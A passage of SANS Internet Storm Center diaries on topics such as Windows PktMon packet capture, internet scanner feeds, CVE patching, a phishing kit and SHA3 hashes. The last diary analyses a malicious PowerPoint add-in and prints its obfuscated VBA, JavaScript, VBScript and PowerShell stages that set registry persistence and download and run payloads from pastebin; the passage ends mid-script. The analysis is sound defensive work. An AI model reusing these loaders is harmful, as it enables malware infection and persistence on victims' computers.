Microsoft released with the October 2018 Update a built-in packet sniffer for Windows 10 located in C:\Windows\system32\PktMon.exe. At ISC we like packets and this is one of the multiple ways to capture packets and send us a copy for analysis. Rob previously published another way of capturing packets in Windows here. If Windows 10 was compromised, this application would be a prime target by malicious actors and it need to be monitored, protected or removed in an enterprise.

In order to collect packets you need to launch a Windows 10 command prompt as admin before using PktMon.

The first thing to do is figure out what can be done with PktMon, if you execute PktMon filter add help it list all posible options by MAC address, datalink, VLAN, protocol, IPv4/IPv6 and services:

For example, let’s capture SSL traffic on port 443, the filter will look like this:

PktMon filter add -p 443

To view the port filtered list:
PktMon filter list

To remove the same filter when done will look like this:
PktMon filter remove -p 443

To clear the packet port filtered list (capture all ports):
PktMon filter remove list

To list the interfaces available for packet capture on Windows 10, use PktMon comp list. This list can contains several interfaces (i.e. wireless, VPN, Ethernet, etc)

Starting PktMon with -p 0 to capture the entire packet (default to 128 bytes), start packet capture from Ethernet interface Id: 10 and save the packets to a log file with Event Tracing for Windows (--etw default filename is PktMon1.etl):
pktmon start --etw -p 0 -c 10

Stopping PktMon you get the traffic statistics from the interface and leave a file PktMon1.etl on the drive where PktMon was started:

The file PktMon1.etl can be converted to text:

pktmon format PktMon.etl -o https.txt

14:08:19.937939100 MAC Dest 0x000C2986BE53, MAC Src 0x247703FD6DE8, EtherType IPv4 , VlanId 0, IP Dest 192.168.25.181, IP Src 192.168.25.165, Protocol UDP , Port Dest 62594, Port Src 3389, TCPFlags 0, PktGroupId 1125899906842838, PktCount 1, Appearance 1, Direction Tx , Type Ethernet , Component 95, Edge 1, Filter 0

Finally, reset all counter back to 0 and get ready for the next packet capture:

PktMon reset
All counters reset to 0.

Microsoft Network Monitor is dated and no longer actively supported by Microsft but until the next release of PktMon in Windows 10 2004 supporting conversion to pcapng, it can be used to open and read these packet capture files or read them as text has previous demonstratred.

[1] https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing
[2] https://isc.sans.edu/forums/diary/Packet+Editor+and+Builder+by+Colasoft/24682/
[3] https://www.microsoft.com/en-in/download/details.aspx?id=4865
[4] https://isc.sans.edu/forums/diary/No+Wireshark+No+TCPDump+No+Problem/19409/
[5] https://docs.microsoft.com/en-us/windows/whats-new/whats-new-windows-10-version-2004

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

A couple of weeks ago, YARA 4.0.0. was released with support for BASE64 strings.

If you plan on using/testing this new feature, be sure to use the latest YARA version 4.0.1 (a bugfix version).

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Researchers have been using various tools to perform internet-wide scans for many years. Some will publish data continuously to either notify users of infected or misconfigured systems. Others will use the data to feed internal proprietary systems, or publish occasional research papers.

We have been offering a feed of IP addresses used by researchers. This feed is available via our API. To get the complete list, use:

https://isc.sans.edu/api/threatcategory/research
(add ?json or ?tab to get it in JSON or a tab delimited format)

We also have feeds for specific research groups (see https://isc.sans.edu/api ). 

Some of the research groups I have seen recently:

• Shodan: Probably the best-known group. Shodan publishes the results of its scans at shodan.io.
• Shadowserver: Also relatively well known. Shadowserver doesn't make much of its data public. But it will make data available to ISPs to flag vulnerable/infected systems. You can find more about shadowserver at https://www.shadowserver.org/
• Strechoid: I just recently came across this group, and do not know much about them. They have a very minimal web page with an opt-out form: http://www.stretchoid.com/
• Onyphe: A company selling threat feeds. See https://www.onyphe.io/
• CyberGreen: See https://www.cybergreen.net/ . A bit like Shadowserver in that it is organized as a not-for-profit collaborative effort. Some data is made public, but more in aggregate form.

The next question: Should you block these IP addresses? Well... my simple honest answer: Probably not, but it all depends.

Shodan for example (I put them in the research category) will publish the data it collects, and an attacker may now use Shodan to find a vulnerable system instead of performing their own scan. There are anecdotal stories of that happening, and I have seen pentesters do this. But we had a SANS Technology Institute student perform some research to find the impact of Shodan and he did not find a significant change in attack traffic depending on if an IP was listed or not [1]. On the other hand, he also found that many IP addresses that appear to be used by Shodan are not identified as such via a reverse DNS lookup. Our list will likely miss a lot of them.

But then again, it probably doesn't hurt (right... our lists are "perfect"? Probably not). And blocking these scans at the perimeter may cut down on some of the noise.

So what is the impact? Here is some data I pulled from yesterday. We had a total of about 260k IP addresses reported to us. They generated about 30 million reports. So on average, a single source generates about 117 reports. The one Researcher exceeding this number significantly is Shodan, with about 5176 reports per source. Remember that Shodan will hit multiple target ports. Also, Shodan uses a relatively small set of published source IPs.

As far a the number of reports go, Stetchoid is actually the "winner" with Shodan 2nd and Shadowserver third. Cybergreen with a total of 100 reports (compared to Stretchoids 164k) hardly shows up. This may in part be due to us missing a lot of the Cybergreen addresses. I will have to look into that again.

What about the legality and ethics of these scans? The legality of port scans has often been discussed, and I am not a legal expert to weigh in on that. In my opinion, an ethical researcher should have a well-published "opt-out" option. IP addresses should reverse resolve to a hostname that will provide additional information about the organization performing the scan. Scans also should be careful to not cause any damage. A famous example is an old (very old) vulnerability in Cisco routers where an empty UDP packet to port 500 caused the router to crash. Researchers should not go beyond a simple connection attempt (using valid payload) and a banner "grab". These scans should not attempt to log in, and rate-limiting has to be done carefully. In particular, if IP addresses are scanned sequentially, it may happen that several fo these IPs point to the same server.

Anything else you have seen researchers do that you liked or didn't like? There are more researchers than I listed here. I need to add more to the feed. Also, not all of them scan continuously, and the data I am showing here is only from yesterday.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

First of all, did you know that the Flame[1] malware turned 8 years today! Happy Birthday! This famous malware discovered was announced on May 28th, 2012. The malware was used for targeted cyber espionage activities in the Middle East area. If this malware was probably developed by a nation-state organization. It infected a limited amount of hosts (~1000 computers[3]) making it a targeted attack.

At the opposite, we see very broad attacks that try to abuse vulnerabilities present in very common products. Almost every day, new CVEs ("Common Vulnerability Exposure") are released or updated. Yesterday, I indexed 141 new CVEs:

In a perfect world, a CVE is followed by a patch released by the vendor or the developer, followed by the deployment of this patch by the end-user. Case closed! But, it’s not always as simple, for multiple reasons. Recently, an interesting article was released about the top-10 most exploited vulnerabilities[3]. It’s interesting to discover how very old vulnerabilities are still exploited in the wild, by example: %%cve:2017-11882%% (from 2017!)

Amongst others, let’s have a look at %%cve:2019-19781%% also know as “Shitrix”[4].  We searched for the population of ‘Citrix NetScaler’ hosts in SHODAN, then we search for the ones tagged with the CVE. Results are interesting (starting from the beginning of the year).

In blue, you see the number of devices identified as vulnerable. The green data represent the entire population of Citrix devices seen online. Let's focus on the two first months:

We see that SHODAN is scanning the web and found more and more vulnerable devices, then organizations started to patch then but we remain for a while to a stable amount of devices (around ~4000 detected daily). But we see also a decrease in detected NetScaler devices. How to interpret this? 

• Some organizations got rid of their Citrix device and replaced it with another solution? (it could happen)
• Devices were hardened and do not disclose the version/model (footprint not possible)
• Devices facing the Internet are now protected by filters/firewalls
• SHODAN IP addresses are blocklisted (which is bad and does NOT secure your infrastructure)

Anyway, the best advice remains patch, patch, and patch again!

[1] https://isc.sans.edu/forums/diary/Why+Flame+is+Lame/13342
[2] https://www.wired.com/2012/05/flame/
[3] https://nakedsecurity.sophos.com/2020/05/15/top-10-most-exploited-vulnerabilities-list-released-by-fbi-dhs-cisa/
[4] https://krebsonsecurity.com/2020/02/hackers-were-inside-citrix-for-five-months/#more-50556

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Phishing e-mail messages and/or web pages are often unusual in one way or another from the technical standpoint – some are surprisingly sophisticated, while others are incredibly simple, and sometimes they are a very strange mix of the two. The latter was the case with an e-mail, which our company e-mail gateway caught last week – some aspects of it appeared to be professionally done, but others screamed that the author was a “beginner” at best.

The message appeared to come from info[@]orlonvalves[.]com and passed both SPF and DKIM checks. Contrary to popular belief, it is not that unusual to see a phishing e-mail from an SPF-enabled domain[1,2]. Phishing message with a valid DKIM signature, on the other hand, is something, which is usually seen in connection with a compromised e-mail server. Although it is possible that this was the case in this instance as well, I’m not completely sure about that. The reason is that the domain in question was registered about half a year back using Namecheap, neither it nor any existing subdomain appears to be hosting any content and no company of corresponding name seems to exist. In contrast, a company named Orion Valves, which uses the domain orionvalves[.]com, does exist and although we may only speculate on whether the domain was intended to be used for phishing, since the substitution of characters (i.e. “l” for “i”) in lookalike domain names is a common tactic for phishers, I wouldn’t be surprised if this effect was what the domain holder was actually going for.

As you may see, apart from the potentially interesting sender domain, the message was a fairly low-quality example of a run-of-the-mill phishing. It claimed to be from Microsoft, but also from a source at alef.com (i.e. our company domain). The only further small point of interest connected with it was hidden within its HTML code. Even though it is usually not necessary to analyze the code of phishing messages, it may sometimes provide us with at least some information about their authors. In this case, for example, given that there are attributes “data-cke-saved” and “data-cke-eol” present in the code, we may surmise that the author most likely used the CK Editor to create the HTML code (and that he probably used a historical phishing message which pointed to different phishing pages as a base to build it from)[3].

As the code shows, the links in the message lead to the following Google Cloud Storage URL.

hxxps[:]//storage[.]googleapis[.]com/update-securities20420.appspot.com/%2525%2525%2525%2525%2525%2525/login.html

I reported the URL to Google, but since the page is still reachable at the time of writing, you may be able to take a look at it yourself, if you’re interested.

Although web page didn’t look like anything too special at first glance, at the second one it turned out to be quite interesting for multiple reasons.

It was self-contained, with all scripts, styles as well as pictures embedded in the code. This technique is sometimes used by attackers in order to create phishing pages they may use as attachments[4], but isn’t too common for the server-hosted phishing sites (though, given where this page was hosted, use of the technique makes some sort of sense).

It also appeared to be fairly well written – the author expected both a situation when a script blocker would stop JavaScript from executing and a situation when the scripts would be executed. If JS execution was possible, it would “personalize” the contents of the page and pre-fill the users e-mail address in the form, if not, it would stay in a more generic, but still fully functional form.

On the other hand, personalization of the page wasn’t the only thing which the embedded JS would try do.

Another piece of JavaScript contained an encoded version of the entire page (i.e. code identical to the one present in the HTML) and it would try to decode it and write it in the body of the document. This would be a bit strange by itself, since – as we’ve mentioned – both versions of the HTML code were the same and if the code were to run, it would result in the entire contents being present twice (i.e. two complete credential stealing forms on one page). But where it got even stranger was the placement of the JavaScript code – it was placed in a style tag within the head portion of the site, which would result in the code never executing (at least not in any browser I’ve tried). It was also probably supposed to be commented out, though it didn’t end up that way as there was a newline after the comment tag instead of a space… In short, there was no reason for the code to be there as it would never run and the way in which it was embedded was completely wrong even if the author intended it as some sort of backup.

If a target of the phishing were to input his credentials in the page, they would be sent in a POST request to the following URL:

hxxps[:]//hondarebirth[.]com/Zhejiang22320/need.php

After that, the browser would be redirected (HTTP 302) to another PHP script on the same server (go.php) and from there to the domain, to which the e-mail address, which was specified in the form, belonged. Redirection to a legitimate domain after credentials have been gathered by a phishing site is quite a common tactic, since the target may then come to believe that they simply made a mistake while typing the password.

As we may see, the phishing really was a strange mix. On one hand, we have the use of a potential phishing domain with SPF and DKIM set up to send the original e-mail, a well-written phishing page and a fairly standard credential gathering mechanism using a different domain and server from the ones hosting the phishing site itself. On the other hand, we have a very low-quality phishing message trying (though not very hard) to look like it was sent by two different sources at once and a nonsensical inclusion of JavaScript in the phishing page, which would never execute, but if it did, it would completely ruin the appearance of the page as anything even nearly legitimate.

Who knows how this came to be – perhaps the attackers cobbled together pieces of different phishing campaigns they found online and ended up with something functional but resembling the creation of Dr. Frankenstein more than anything else...

 

Indicators of Compromise (IoCs)

hxxps[:]//storage[.]googleapis[.]com/update-securities20420.appspot.com/%2525%2525%2525%2525%2525%2525/login.html
hxxps[:]//hondarebirth[.]com/Zhejiang22320/need.php
hxxps[:]//hondarebirth[.]com/Zhejiang22320/go.php

 

[1] https://isc.sans.edu/forums/diary/Phishing+email+spoofing+SPFenabled+domain/25426/
[2] https://isc.sans.edu/forums/diary/Agent+Tesla+delivered+by+the+same+phishing+campaign+for+over+a+year/26062/
[3] https://ckeditor.com/old/forums/CKEditor-3.x
[4] https://isc.sans.edu/forums/diary/Phishing+with+a+selfcontained+credentialsstealing+webpage/25580/

-----------
Jan Kopriva
@jk0pr
Alef Nula

A couple weeks ago, Rob wrote a couple of nice diaries. In our private handlers slack channel I was joking after the first one about whether he was going to rewrite CyberChef in PowerShell. After the second I asked what about SHA3? So, he wrote another one (your welcome for the diary ideas, Rob). I was only half joking.

SHA2 (SHA256 --or more accurately SHA2-256-- being the most common version in use) was first adopted in 2001. SHA3 was adopted in 2015. Fortunately, because we've known about the weaknesses in MD5 and SHA1 for years, those have been phased out for integrity purposes over the last decade. And, fortunately, I'm not aware of any weakneses in SHA2, yet, but it is only a matter of time. Having said that, I still see a lot of malware or forensic reports that will include MD5 or SHA1, fortunately usually these days also with SHA256, but I don't believe that even VirusTotal is calculating SHA3 hashes for new samples. I understand the arguments that using both MD5 and SHA1 is probably sufficient for the moment for malware sample identification purposes, but the new standard has been out there for 5 years now and the hash that is being used is almost 20 years old. What is the hold up? In my own personal malware database, I added a column for SHA3 back when NIST first announced that they were going to have a competition to choose the new hash. Python has included SHA3 in hashlib since 3.6 and it was backported to 2.7-3.5 in pysha3. The Perl Digest::SHA3 module has been around since the standard was adopted. I added it to my sigs.py tool more than 3 years ago, more specifically, I use SHA3-384 (as did Jesse Kornblum's beta of sha3deep, though I don't see a final release of that). So, what is the hold up? Why aren't we using the current standard? I, for one, plan to include both SHA2-256 and SHA3-384 hashes in all of my reports going forward. Thoughts?

 

References:

https://isc.sans.edu/forums/diary/Base+Conversions+and+Creating+GUI+Apps+in+PowerShell/26122/
https://isc.sans.edu/forums/diary/Hashes+in+PowerShell/26128/
https://isc.sans.edu/diary/SHA3+Hashes+%28on+Windows%29+-+Where+Art+Thou%3F/26130
https://isc.sans.edu/diary/SHA1+Phase+Out+Overview/20423
https://isc.sans.edu/diary/New+tool%3A+sigs.py/22181

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Reader Roland submitted a malicious Zloader Excel 4 macro spreadsheet (MD5 82c12e7fe6cabf5edc0bdaa760b4b8c8).

It's typical of the samples we have seen these last weeks, with heavy formula obfuscation:

These maldocs can now easily be analysed with xlm-deobfuscator:

I also created a short video:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark version 3.2.4 was released.

It has a vulnerability fix and bug fixes.

A vulnerability in the NSP dissector can be abused to cause a crash.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Attackers are always trying to find new ways to deliver malicious code to their victims. Microsoft Word and Excel are documents that can be easily weaponized by adding malicious VBA macros. Today, they are one of the most common techniques to compromise a computer. Especially because Microsoft implemented automatically executed macros when the document is opened. In Word, the macro must be named AutoOpen(). In Excel, the name must be Workbook_Open(). However, PowerPoint does not support this kind of macro. Really? Not in the same way as Word and Excel do!

While hunting, I found an interesting document disguised as a PowerPoint template (with the extension ‘.pot’) delivered within a classic phishing email. In reality, it was not a template but an add-in. PowerPoint supports ‘add-ins’ developed by third parties to add new features[1]. And guess what? Add-ins are able to automatically execute macros. Here is the list of available actions:

• Sub Auto_Open() - Gets executed immediately after the presentation is opened.
• Sub Auto_Close() - Gets executed prior to the presentation is closed.
• Sub Auto_Print() - Gets executed prior to the presentation being printed.
• Sub Auto_ShowBegin() - Gets executed when the show begins.
• Sub Auto_ShowEnd() - Gets executed when the show ends.
• Sub Auto_NextSlide(Index as Long) - Gets executed before the slideshow moves onto the next slide. The index represents the SlideIndex of the Slide about to be displayed.

Two macros are fired automatically within an add-in. Auto_Open() and Auto_Close(). Auto_Open() is fired when the add-in is loaded and Auto_Close() fired when the add-in is being unloaded. You can use them to do preprocessing, creating menu items, setting up event handlers, etc, or performing cleanup upon exiting.

The document (SHA256:b345b73a72f866ac3bc2945467d2678ca4976dd4c51bd0f2cdb142a79f56210a[2]) that I found contains an Auto_Close() macro defined that will open an URL when the victim closes PowerPoint. Let’s have a look at the document. Macros are stored in the same way as Word or Excel, they are stored in an OLE2 file:

root@remnux:/malwarezoo# file Payments\ detail.pot
Payments detail.pot: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: payments, Keywords: dsgsdfs, Template: Family tree chart (horizontal, green, white, widescreen), Revision Number: 1, Name of Creating Application: Microsoft Office PowerPoint, Create Time/Date: Fri May  8 02:02:01 2020, Last Saved Time/Date: Fri May  8 02:03:34 2020, Number of Words: 2891
root@remnux:/malwarezoo# oledump.py Payments\ detail.pot
  1:      2784 '\x05DocumentSummaryInformation'
  2:       380 '\x05SummaryInformation'
  3:       445 'PROJECT'
  4:        26 'PROJECTwm'
  5: M    1921 'VBA/Module1'
  6:      2454 'VBA/_VBA_PROJECT'
  7:      1377 'VBA/__SRP_0'
  8:        88 'VBA/__SRP_1'
  9:       392 'VBA/__SRP_2'
 10:       103 'VBA/__SRP_3'
 11:       493 'VBA/dir'
root@remnux:/malwarezoo# oledump.py Payments\ detail.pot -s 5 -v
Attribute VB_Name = "Module1"
   Sub auto_close()
        Dim yoCgYQoJx As Object
        Dim r5ozCUcyJ As String
        Dim a4CItAIOl As String
        Dim PhS6Kx17B As String
        PhS6Kx17B = ("W" + "S" + "c" + "ript.Shell")
        Set yoCgYQoJx = CreateObject(PhS6Kx17B)
        r5ozCUcyJ = StrReverse("""a'*'zaebba'*'a'*'d\p'*'.j\\:ptth""""aths'*'""")
        a4CItAIOl = Replace(r5ozCUcyJ, "'*'", "m")
        yoCgYQoJx.Run a4CItAIOl
End Sub

When the victim opens the ‘Payments detail.pot’ file, PowerPoint is launched and the add-in silently installed. Seeing that no content is displayed (there is no slide to render), the user will close PowerPoint and the macro will be executed.

You can see the installed Add-ins in the PowerPoint options:

The macro simply launches an URL. In this case, Windows will try to open with the default browser. The malicious URL is:

hxxp://j[.]mp/dmamabbeazma

This HTTP request returns a 301 to a pastie:

hxxps://pastebin[.]com/raw/U78a8pxJ

Here is the pastie content (some Javascript code):

<script type="text/javascript">
<!--
eval(unescape('%66%75%6e%63%74%69%6f%6e%20%72%65%37%31%66%63%33%31%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%38%38%36%33%39%33%30%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%36%33%35%32%35%38%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%2d%32%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%72%65%37%31%66%63%33%31%28%27') + '%39%70%62%71%63%71%76%24%6d%66%72%6c%7f%64%6c%60%3a%2c%2b%25%3c%3b%38%2a%20%30%3f%38%2f%20%32%36%3d%2e%26%3e%39%38%20%22%36%34%33%35%2b%25%35%31%32%3f%2d%2d%34%36%33%38%20%26%33%35%3b%38%26%45%07%0b%0a%0b%40%7c%64%63%70%64%54%66%69%6f%62%73%2d%21%51%56%65%72%68%77%74%35%5d%6d%62%69%6b%2c%28%30%52%74%75%20%21%2c%23%6a%72%6f%7e%60%24%22%27%21%68%73%7e%75%39%59%5b%7a%60%75%70%64%61%69%75%38%62%74%68%5b%7c%60%79%58%36%71%4d%3e%67%31%31%7f%21%2c%27%0f%0a%0c%09%47%71%6f%64%73%60%54%6c%6f%67%63%75%2f%26%5c%5d%62%71%6c%77%7e%33%55%6c%64%6b%6c%21%23%37%51%70%75%2a%56%76%72%57%62%7a%62%7c%72%62%2d%21%39%21%32%3c%21%74%6d%34%2a%40%53%50%55%43%4c%22%63%76%34%20%62%7e%64%62%73%60%39%21%75%6b%76%66%74%6f%6d%72%21%2c%27%25%21%24%70%73%27%26%21%52%7f%6e%61%62%79%76%24%22%21%34%74%71%2a%23%21%59%21%2c%6c%75%6c%75%66%5c%21%2c%25%6f%71%73%7a%3f%5e%58%71%66%77%73%6f%63%6e%77%35%6d%72%6f%58%77%66%7b%5b%3d%73%4a%3c%6a%3e%37%78%22%27%27%33%4d%2a%23%2b%35%0a%04%0c%0c%43%77%62%61%73%6f%56%61%6b%62%6d%75%2a%22%5a%50%67%71%63%75%73%37%50%62%64%6e%68%27%2e%32%51%6f%6e%5c%73%6e%7e%64%22%53%75%71%56%62%70%60%71%72%62%22%27%56%52%40%53%57%5b%78%70%51%59%75%79%68%75%72%64%5d%74%75%6f%73%71%70%40%56%76%79%77%65%75%69%5c%56%71%6d%76%70%79%77%65%6d%4c%5b%65%71%6b%7e%73%6f%74%5d%5d%57%43%4e%4f%26%2e%26%25%21%23%21%67%27%22%2b%21%21%77%21%2a%2a%27%23%6f%2c%21%2d%24%27%73%26%27%25%25%21%64%21%2c%27%24%6c%75%73%70%39%56%59%77%64%70%7e%64%64%6d%73%35%67%74%67%59%71%64%7c%56%6c%4e%5e%77%41%35%3c%73%23%21%23%2b%2a%27%54%41%4a%64%57%59%2c%08%09%08%09%4d%77%67%65%75%62%53%61%64%60%60%71%2f%2c%5a%55%63%77%6e%70%73%38%52%6f%60%6b%66%27%2b%36%57%62%6b%5c%7c%6c%73%60%27%5d%75%74%52%64%7d%65%71%7d%60%2f%23%5b%78%74%54%58%73%74%69%70%7c%60%5d%71%75%6f%77%74%71%46%5b%77%7c%79%61%75%6c%5c%56%75%68%77%76%74%76%60%63%48%5b%60%71%6b%7a%76%6e%72%50%5c%52%4d%4a%4f%23%2e%26%21%24%22%27%6a%26%27%25%25%21%72%21%2a%2e%22%22%69%21%20%28%2a%23%73%23%27%25%21%24%65%27%21%26%21%62%71%73%75%39%56%5d%72%65%76%73%65%61%63%77%35%62%74%67%5d%74%65%7a%5b%45%41%61%4e%52%32%6e%6b%27%24%22%2d%27%26%51%4f%4e%64%52%59%2c%0c%0c%09%0f%70%65%6b%60%37%60%69%74%7d%64%0f%0a%3d%34%77%60%7c%6c%77%71%458863930%37%35%37%35%38%33%30' + unescape('%27%29%29%3b'));
// -->
</script>

The decode version shows more payloads being downloaded:

function re71fc31(s) {
  var r = "";
  var tmp = s.split("8863930");
  s = unescape(tmp[0]);
  k = unescape(tmp[1] + "635258");
  for( var i = 0; i < s.length; i++) {
    r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-2); 
  }
  return r;
} document.write(re71fc31('%39%70%62%71%63%71%76%24%6d%66%72%6c%7f%64%6c%60%3a%2c%2b%25%3c%3b%38%2a%20%30%3f%38%2f%20%32%36%3d%2e%26%3e%39%38%20%22%36%34%33%35%2b%25%35%31%32%3f%2d%2d%34%36%33%38%20%26%33%35%3b%38%26%45%07%0b%0a%0b%40%7c%64%63%70%64%54%66%69%6f%62%73%2d%21%51%56%65%72%68%77%74%35%5d%6d%62%69%6b%2c%28%30%52%74%75%20%21%2c%23%6a%72%6f%7e%60%24%22%27%21%68%73%7e%75%39%59%5b%7a%60%75%70%64%61%69%75%38%62%74%68%5b%7c%60%79%58%36%71%4d%3e%67%31%31%7f%21%2c%27%0f%0a%0c%09%47%71%6f%64%73%60%54%6c%6f%67%63%75%2f%26%5c%5d%62%71%6c%77%7e%33%55%6c%64%6b%6c%21%23%37%51%70%75%2a%56%76%72%57%62%7a%62%7c%72%62%2d%21%39%21%32%3c%21%74%6d%34%2a%40%53%50%55%43%4c%22%63%76%34%20%62%7e%64%62%73%60%39%21%75%6b%76%66%74%6f%6d%72%21%2c%27%25%21%24%70%73%27%26%21%52%7f%6e%61%62%79%76%24%22%21%34%74%71%2a%23%21%59%21%2c%6c%75%6c%75%66%5c%21%2c%25%6f%71%73%7a%3f%5e%58%71%66%77%73%6f%63%6e%77%35%6d%72%6f%58%77%66%7b%5b%3d%73%4a%3c%6a%3e%37%78%22%27%27%33%4d%2a%23%2b%35%0a%04%0c%0c%43%77%62%61%73%6f%56%61%6b%62%6d%75%2a%22%5a%50%67%71%63%75%73%37%50%62%64%6e%68%27%2e%32%51%6f%6e%5c%73%6e%7e%64%22%53%75%71%56%62%70%60%71%72%62%22%27%56%52%40%53%57%5b%78%70%51%59%75%79%68%75%72%64%5d%74%75%6f%73%71%70%40%56%76%79%77%65%75%69%5c%56%71%6d%76%70%79%77%65%6d%4c%5b%65%71%6b%7e%73%6f%74%5d%5d%57%43%4e%4f%26%2e%26%25%21%23%21%67%27%22%2b%21%21%77%21%2a%2a%27%23%6f%2c%21%2d%24%27%73%26%27%25%25%21%64%21%2c%27%24%6c%75%73%70%39%56%59%77%64%70%7e%64%64%6d%73%35%67%74%67%59%71%64%7c%56%6c%4e%5e%77%41%35%3c%73%23%21%23%2b%2a%27%54%41%4a%64%57%59%2c%08%09%08%09%4d%77%67%65%75%62%53%61%64%60%60%71%2f%2c%5a%55%63%77%6e%70%73%38%52%6f%60%6b%66%27%2b%36%57%62%6b%5c%7c%6c%73%60%27%5d%75%74%52%64%7d%65%71%7d%60%2f%23%5b%78%74%54%58%73%74%69%70%7c%60%5d%71%75%6f%77%74%71%46%5b%77%7c%79%61%75%6c%5c%56%75%68%77%76%74%76%60%63%48%5b%60%71%6b%7a%76%6e%72%50%5c%52%4d%4a%4f%23%2e%26%21%24%22%27%6a%26%27%25%25%21%72%21%2a%2e%22%22%69%21%20%28%2a%23%73%23%27%25%21%24%65%27%21%26%21%62%71%73%75%39%56%5d%72%65%76%73%65%61%63%77%35%62%74%67%5d%74%65%7a%5b%45%41%61%4e%52%32%6e%6b%27%24%22%2d%27%26%51%4f%4e%64%52%59%2c%0c%0c%09%0f%70%65%6b%60%37%60%69%74%7d%64%0f%0a%3d%34%77%60%7c%6c%77%71%458863930%37%35%37%35%38%33%30'));

And, the decoded payload:

<script language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;">
CreateObject("WScript.Shell").Run """mshta""""http:\\pastebin.com\raw\3rM9m42v"""
CreateObject("WScript.Shell").Run StrReverse("/ 08 om/ ETUNIM cs/ etaerc/ sksathcs") + "tn ""Xvideos"" /tr ""\""mshta\"" hxxp:\\pastebin[.]com\raw\3rM9m42v"" /F ",0
CreateObject("WScript.Shell").RegWrite StrReverse("TRATS\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"), """m" + "s" + "h" + "t" + "a""""http:\\pastebin.com\raw\mLVrB57y""", "REG_SZ"
CreateObject("WScript.Shell").RegWrite StrReverse("\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"), """m" + "s" + "h" + "t" + "a""""hxxp:\\pastebin[.]com\raw\EBgGU3ia""", "REG_SZ"
self.close
</script>

The script fetches two extra payloads from pastebin.com, one of them was already removed but I successfully grabbed a copy. Both are identical, here is the decoded payload:

<script language="&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;">
CreateObject("WScript.Shell").RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin", "mshta vbscript:Execute(""CreateObject(""""Wscript.Shell"""").Run """"powershell ((gp HKCU:\Software).iamresearcher)|IEX"""", 0 : window.close"")", "REG_SZ"

CreateObject("Wscript.Shell").regwrite "HKCU\Software\iamresearcher", "$fucksecurityresearchers='contactmeEX'.replace('contactme','I');sal M $fucksecurityresearchers;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$iwannaleftsellingtools.open('GET','hxxps://pastebin[.]com/raw/EyRQAwZ9',$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split '-' |ForEach-Object {[char][byte]""0x$_""};$asciiString= $asciiChars -join ''|M;[Byte[]]$Cli2= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''hxxps://pastebin[.]com/raw/MbysCQ9a'').replace(''$'',''!#!@#'').replace(''!#!@#'',''0x'')')) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS('InstallUtil.exe',$Cli2)" , "REG_SZ"
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create( "powershell ((gp HKCU:\Software).iamresearcher)|IEX", null, objConfig, intProcessID)
'i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way
'i am not a coder ;) i watch you on twitter every day thanks :) i love my code reports!
'i am not a coder! bang ;)
self.close
</script>

(Note the funny comments at the end of the script)

Two new pasties are fetched. Here is the decoded content (PowerShell code):

function UNpaC0k3333300001147555 {
  [CmdletBinding()]
    Param ([byte[]] $byteArray)
  Process {
    Write-Verbose "Get-DecompressedByteArray"
    $input = New-Object System.IO.MemoryStream( , $byteArray )
    $output = New-Object System.IO.MemoryStream
    $01774000 = New-Object System.IO.Compression.GzipStream $input,       
                    ([IO.Compression.CompressionMode]::Decompress)
